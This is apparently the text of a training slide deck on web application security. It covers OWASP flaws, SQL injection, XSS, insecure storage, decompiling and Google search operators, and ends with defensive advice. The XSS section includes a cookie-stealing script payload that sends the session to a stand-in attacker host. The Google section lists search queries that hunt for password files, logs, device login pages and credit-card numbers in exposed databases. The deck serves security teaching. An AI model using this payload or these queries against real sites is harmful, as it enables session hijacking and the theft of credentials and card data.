Web Application Security

Slides:



Advertisements
Similar presentations
Module XIV SQL Injection
Advertisements

Nick Feamster CS 6262 Spring 2009
Information Gathering. Before an attack What information do we need? WHOIS details OS & web server details (NetCraft, whois.webhosting.info) DNS information,
Webgoat.
Incident Handling & Log Analysis in a Web Driven World Manindra Kishore.
Web Security Never, ever, trust user inputs Supankar.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
OWASP Web Vulnerabilities and Auditing
Revealing the Secrets: Source Code Disclosure, Techniques, and Impacts.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Web Application Security An Introduction. OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
The 10 Most Critical Web Application Security Vulnerabilities
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Presenter Deddie Tjahjono.  Introduction  Website Application Layer  Why Web Application Security  Web Apps Security Scanner  About  Feature  How.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Hands-On Ethical Hacking and Network Defense
Security and Risk Management. Who Am I Matthew Strahan from Content Security Principal Security Consultant I look young, but I’ve been doing this for.
OWASP Zed Attack Proxy Project Lead
GOOGLE HACKING FOR PENETRATION TESTERS Chris Chromiak SentryMetrics March 27 th, 2007.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Copyright Security-Assessment.com 2005 Exposing Web Vulnerabilities The State of Web Application Security by Nick von Dadelszen.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Web 2.0 Security James Walden Northern Kentucky University.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
Attacking Applications: SQL Injection & Buffer Overflows.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
OWASP Top Ten #1 Unvalidated Input. Agenda What is the OWASP Top 10? Where can I find it? What is Unvalidated Input? What environments are effected? How.
ColdFusion Security Michael Smith President TeraTech, Inc ColdFusion, Database & VB custom development
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Prof Frankl, Spring 2008CS Polytechnic University 1 Overview of Web database applications with PHP.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
nd Joint Workshop between Security Research Labs in JAPAN and KOREA Marking Scheme for Semantic- aware Web Application Security HPC.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
OWASP Building Secure Web Applications And the OWASP top 10 vulnerabilities.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
Lecture 19 Page 1 CS 236 Online 6. Application Software Security Why it’s important: –Security flaws in applications are increasingly the attacker’s entry.
Web Application Vulnerabilities
# 66.
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
World Wide Web policy.
Cross-Site Forgery
PHP / MySQL Introduction
Database Driven Websites
Lecture 2 - SQL Injection
Exploring DOM-Based Cross Site Attacks
Presentation transcript:

Web Application Security

Agenda Attacks Types Web applications and Google What can be done?

Attack Types

Attack Types Web Application Vulnerabilities (OWASP Top 10) Broken Access Control Broken Authentication and Session Management Buffer Overflows Denial of Service Insecure Configuration Management Poor Input Validation Injection Flaws (SQL Injection) Cross Site Scripting (XSS) Improper Error Handling Insecure Storage Reversing/decompiling

Attack Types Web Application Vulnerabilities Where can a web application be exploited? Inputs, outputs... Querystrings (www.ezenta.com/file.php?id=34) Form params (&name=sarid&phone=12121212) HTTP Headers Cookies Local Files? Anywhere a client has access to parameters

Web application Security SQL Injection

Attack Types SQL Injection The exploitation of weaknesses in a web application, ultimately enabling users to utlize functionality located within the database server framework.

Attack Types SQL Injection (Cont.) Who is vulnerable? MS SQL Oracle Sybase DB2 MySQL Mm. Not the fault of the database software but rather the fault of the developers that utilise these databases.

Attack Types SQL Injection (Cont.) What can happen? Information leakage Data manipulation: INSERT, UPDATE, DELETE, … Execution of Stored Procedures (i.e. MSSQL) Data theft What would you want if you were the attacker?

Attack Types SQL Injection (Cont.) How would an attacker launch an attack in an attempt to gain access to a web server/DB server? Prerequisites Some outbound trafic must be permitted, the user must know which port The database’s user must be able to execute the EXEC command The attacker must have some server (TFTP/FTP) from shich files can be retrieved

Attack Types SQL Injection (Cont.) DEMO: http://www.hackme.dk Identifying vulnerabilities Gathering info. about the DB: name, structure Altering data Running commands Error based/blind SQL injection Stored Procedures

GAME OVER

Web application Security Cross Site Scripting (XSS)

Attack Types Cross Site Scripting (XSS) Attack aimed at the users of a web application, possible as a result of poor programming practices.

Attack Types Cross Site Scripting (Cont.) Two types: Transient: The exploit is composed and delivered. Is generally executed just the one time. Persistent: The exploit is composed and written to some data store. An example is a forum post.

Attack Types Cross Site Scripting (Cont.) Transient: The victim has to perform an action in order for the attack to work. Click on a link Download a file (eMule, Kazaa, Skype, MSN, …) Persistent: The attacked is executed simply by visiting the compromised web application.

Attack Types Cross Site Scripting (Cont.) So you can execute some script in the user’s browser, who cares? Right?

Attack Types Cross Site Scripting (Cont.) What can happen? Information known only to the user and the web server ( in this case session identifiers ) can be stolen. Sound scary? Consider this.... Ordering perscriptions over the net? Medical test results? On-line psychological consultations: Are you sure you’re chatting to a doctor? Using netbank?

Attack Types Cross Site Scripting (Cont.) Net Bank Recently found a vulnerability that would enable an attacker to create a false net bank logon. When the user entered their username and password, the details were sent to a third server. This is real!

Attack Types Cross Site Scripting (Cont.) Who is vulnerable? JAVA .NET ASP PHP CF Mm. It’s not MS’, Sun’s, Allaire’s or Novell’s fault (not always). It’s the fault of the developer!

Attack Types Cross Site Scripting (Cont.) How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed (as shown on next slide). The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is included in the attacker’s request ( shown in the demo ).

Attack Types Cross Site Scripting (Cont.) A simple transient XSS attack: www.somesite.com/vulnerable.php ?email=sarid_harper@somesite.com <script> window.open('http://<ATTACKER>/write_to_file.o?Session='+document.cookie,'obj_window','fullscreen=no,toolbar=no,status=no,menubar=no,scrollbars=no,resizable=yes,directories=no,location=no,width=100,height=100'); </script> All on one line.

Attack Types Cross Site Scripting (Cont.) How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed. The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is included in the attacker’s request ( shown in the demo ).

Attack Types Cross Site Scripting (Cont.) How do users’ sessions get hijacked? A vulnerability is identified. An exploit is developed. The exploit is sent to the victim (transient) or posted in a vulnerable page (persistant). The user clicks on the link (tansient) or visits the vulnerable page (persistant). The user’s session identifier is sent to the attacker. The stolen session identifier is incorporated into the attacker’s request ( shown in the demo ).

Attack Types Cross Site Scripting (Cont.) DEMO: http://www.hackme.dk

Web application Security Improper Error Handling

Attack Types Improper Error Handling Reading error messages in an attempt to gain an understanding of the platform and technologies deployed

Attack Types Improper Error Handling (Cont.) What can you learn from error messages? What database is being used If the developers are trying to hide what server side technology is being used (by associating *.abc files with the asp.dll), it can be disclosed here Usernames and passwords included in the connection string

Web application Security Insecure Storage

Attack Types Insecure Storage – What is it? The implementation of poor storage schemes used to store sensative information such as credit card details and the like

Attack Types Insecure Storage (cont.) How can this type of vulnerability be found? Google Comments in a page’s source Error rmessages Filenames in temporary Mange more.

Attack Types Insecure Storage (cont.) What are we looking for…

Attack Types Insecure Storage (cont.) What other examples are there? Poor implementation of encryption algos Attempting to create your own encryption algo  simple XOR methods 

Attack Types Insecure Storage (cont.) Demo Password files "your password is" filetype:log allinurl:admin ext:mdb Credit card information allinurl:customers ext:mdb allinurl:shopping ext:mdb

Attack Types Reversing/decompiling Java and .NET can be decompiled The source code can be read What tools exist to enable this? Java: DJ Decompiler .NET: Salamander (http://www.remotesoft.com/salamander/)

Attack Types Reversing/decompiling (cont.) Differences between native code and VM Native code = ASM Java/.NET = the original code Native code DEMO Java/.NET DEMO

Attack Types Reversing/decompiling (cont.) Protection schemes for native code ASProtect ExeShield ACProtector Armadillo ExeCrypter PElock Can they then be broken? It seem like it What does the file now look like?

Attack Types Reversing/decompiling (cont.) Protection schemes for Java/.NET Obfuscation HASP Can they then be broken? What does the file now look like?

Attack Types Reversing/decompiling (cont.) What protection schemes do you use? Do they work?

Web application Security What can be done?

What can be done? Who is responsible? Customers can make demands! Development houses can educate developers!

What can be done? Design Threat Modelling; Understanding the threats (covered on day 2): ”But we don’t use sessions” ”But we use SSL” Code Reviews (briefly covered on day 2) Ask questions! Check lists Defence in depth Secure defaults

What can be done? Implementation Secure programming principles and practices, educate developers (Think like an attacker) Input validation Output validation/encoding Fail safely Perform peer code reviews Reuse code that is know to be secure .....

What can be done? Audit Perform automated testing as well as manual (some of the tools available are covered on day two) Test at every development stage Make a test plan Test all components

What can be done? Configuration Management The secure configuration of the implemented platform (covered on day 2)

Web application Security Web applications and Google

Web applications and Google Googles’ advanced search operators Alternate query types cache link:www.ezenta.com related:www.securityfocus.com info:www.google.com Query Modifiers site:[ whitehouse.gov | www.whitehouse.gov ] allintitle:hacking tomcat intitle:hacking tomcat = intitle:hacking intext:tomcat allinurl:admin database inurl:admin database = intitle:admin intext:database

Web applications and Google Googles’ advanced search operators (cont.) Query Modifiers (cont.) filetype:doc ext:php (same as above) inanchor:funnystuff (<a href=target>funnystuff</a>) numrange:1111-9999 or 1111..9999 daterange:2453706-2453710 (represented in Julian time) phonebook:first last state

Web applications and Google What can you use this for? Error messages as shown earlier Password files Login pages Logs Shopping information Online devices Source code?

Web applications and Google Error messages as shown earlier Try and find error messages that you are familiar with by using Googles’ advanced operators

Web applications and Google Error messages as shown earlier “A syntax error has occurred” filetype:ihtml “Incorrect syntax near” ”Internal Server Error” ”server at”

Web applications and Google Password files Try and find some password details using Google

Web applications and Google Password files intitle:”index of /etc” intext:(passwd | shadow) inurl:admin ext:(mdb | log | pwd | tmp | txt | bak) intext:”your password is *” intext:”please use the following username * and password *”

Web applications and Google Login pages Find some login pages that you are familiar with

Web applications and Google Login pages allinurl:login admin cms "You have requested access to a restricted area of our website. Please authenticate yourself to continue.“ intitle:"Tomcat Server Administration"

Web applications and Google Logs Find some common log files using Google

Web applications and Google Logs inurl:log ext:(log | txt) inurl:admin ext:(log | txt) intitle:"index.of./“ allinurl:logs ftp security

Web applications and Google Shopping information Shopping information exists on web sites and Google knows about it. Find it!

Web applications and Google Shopping information inurl:shop database Mastercard 5111111111111111..5999999999999999 ext:(log | mdb | tmp | bak | txt) Visa 4111111111111..4999999999999 ext:(log | mdb | tmp | bak | txt) Amex 371111111111111..379999999999999 ext:(log | mdb | tmp | bak | txt)

Web applications and Google Online devices Do you use any online devices like WAPs? Find some online devices you are familiar with.

Web applications and Google Online devices intitle:"Live View / - AXIS” intitle:webeye inurl:login.ml inurl:"printer/main.html" intext:"settings” intitle:"Network Storage Link for USB 2.0 Disks" Firmware (http://173016th.com/)

Web applications and Google Source Code Find source code fragments with Google

Web applications and Google Source Code intext:"ADODB.Recordset" ext:inc inurl:index.php.bak

Web application Security Summary Bad programming can introduce huge issues Security awareness and education can help raise security Google can be used for data mining  Keep your environment clean.

?